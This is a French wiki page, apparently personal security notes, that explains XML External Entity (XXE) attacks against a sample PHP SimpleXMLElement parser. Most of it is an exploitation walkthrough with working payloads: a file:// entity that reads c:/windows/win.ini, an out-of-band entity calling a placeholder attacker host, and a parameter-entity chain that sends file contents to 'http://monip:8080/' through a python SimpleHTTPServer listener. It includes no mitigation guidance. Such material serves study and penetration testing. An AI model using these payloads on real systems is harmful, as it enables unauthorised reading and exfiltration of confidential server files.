Outils pour utilisateurs

Outils du site


web:xxe

XXE

1.Présentation

XML External Entity est une attaque contre les applications qui parse des entrées XML (exemple flux RSS). Cette attaque à lieu lorsque le parser XML est mal configuré et contient une référence à une entité externe. La XXE permet d'afficher des données confidentielles , effectués des dénis de services, etc…

Ce qu'il faut savoir :

Un document XML se base sur une grammaire permettant de vérifier sa conformité, appelé DTD (Document Type Definition). Ces DTD sont bien connus comme étant une source de problèmes de sécurité.

Des entités peuvent être déclarées dans le DTD pour définir des variables.

Ces entités internes permettent de définir des règles de substitution d’un élément par un autre dans le document XML.

Mais ces entités peuvent aussi être externes et dans ce cas faire référence à des ressources qui peuvent être le système de fichier local ou un ordinateur distant.

C'est dans ce cas que la XXE apparaît.

2.Exploitation

Le but va être de faire exécuter de l'XML par l'application qui le parse.

Un morceau de notre parser en php :

parser.php
<?php
include 'contenu_xml.php';
 
$auteur = new SimpleXMLElement($xmlstr);
 
echo 'Nom : '.$auteur->nom.'<br />';
echo 'Prenom : '.$auteur->prenom.'<br />';
echo 'Age : '.$auteur->age.'<br />';
 
?>

Ici on affiche uniquement le contenu des balises nom, prenom et age.

Il attendra des fichiers XML au format suivant :

contenu.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<auteur>
	<nom>Dupont</nom>
	<prenom>John</prenom>
	<age>25</age>
</auteur>

Pour la partie exploitation technique

2.1 Méthode 1 : Afficher le contenu d'un fichier

Voici le contenu du fichier XML que nous donnerons au parser si nous voulons afficher le contenu d'un fichier.

document.XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///c:/windows/win.ini"> ]>
<auteur>
        <nom>&ent;</nom>
        <prenom>John</prenom>
        <age>25</age>
</auteur>

Ici nous retrouverons le contenu de notre fichier c:/windows/win.ini entre les deux balises “nom”

2.2 Méthode 2 : Verifier que le parser sois capable d'exfiltrer des donées

Dans un premier temps il faut lancer un serveur web python :

python -m SimpleHTTPServer 8080

Dans un second temps uploader le fichier qui sera parser

document_V2.xml
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:8080/test.txt">
]>
<r>&sp;</r>
<auteur>
        <nom>Dupont</nom>
        <prenom>John</prenom>
        <age>25</age>
</auteur>

Si tout c'est bien passer vous obtiendrez ceci

2.3 Méthode 3 : Exfiltré des données par requête HTTP

Dans un premier temps il faut lancer un serveur web python :

python -m SimpleHTTPServer 8080

Ensuite il faut créer un fichier exfiltrate.xml sur notre serveur python.

exfiltrate.xml
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://monip:8080/?%data;'>">

Dans un second temps uploader le fichier qui sera parser

document_V3.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://monip/exfiltrate.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<auteur>
        <nom>Dupont</nom>
        <prenom>John</prenom>
        <age>25</age>
</auteur>

Source :

Owasp

Prox-ia

Payload XXE

web/xxe.txt · Dernière modification: 2017/01/20 13:14 par arkinar